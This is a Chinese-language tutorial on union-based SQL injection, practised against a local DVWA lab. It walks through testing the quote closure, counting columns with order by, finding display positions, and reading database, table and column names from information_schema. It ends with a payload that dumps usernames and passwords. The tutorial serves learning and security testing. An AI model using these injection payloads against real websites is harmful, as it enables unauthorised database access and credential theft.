所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
union注入是一种常见的sql注入类型,通过闭合sql语句来达到union查询。
union注入的前提是页面上必须要有显示位,在一个网站上,服务端执行了sql语句查询了数据库中的的数据,客户端并展示在这个页面中,这个数据我们看到的位置就叫显示位。、
union注入依据下列几个步骤:
1:判断闭合
2:判断列数
3:判断查询显示位
4:获取数据库名
5:获取表名
6:获取字段名
7:查询字段的数据
这里使用本地环境DVWA
输入1执行正常查询功能
0x00 判断闭合
输入1'
,出现报错
输入1'#
,不报错 /这里的#是sql语句中的注释符号,将原本sql语句符号进行注释/
原本sql语句可能是
select First name,Surname fron users where ID='1'
输入1’#后实现构造闭合
select First name,Surname fron users where ID='1'#'
0x01 判断列数
这里判断列数使用order by
order by 函数 是对mysql中查询的结果按照指定字段名排序,也可以指定字段的栏位来排序。
输入1' order by 2#
正常回显
输入1' order by 3#
报错,表示只有两列
本地数据库中可以看到
0x02 判断查询显示位
如果没有显示位,就无法通过union注入得到数据库中消息
输入-1' union select 1,2#
当前面这一个数在数据库中不存在的时候就会只执行后面union查询
判断出显示位有两个,都可以进行使用。
0x03 获取数据库名
接下来就是一个比较简单的sql语句应用
-1' union select user(),database()#
0x04 获取表名
-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema ='dvwa' #
这里使用group_concat()函数,将所查询到的表面连接起来
0x05 获取字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#
0x06 查询字段的数据
-1' union select 1,group_concat(password,user) from users#
这里就得到了用户数据。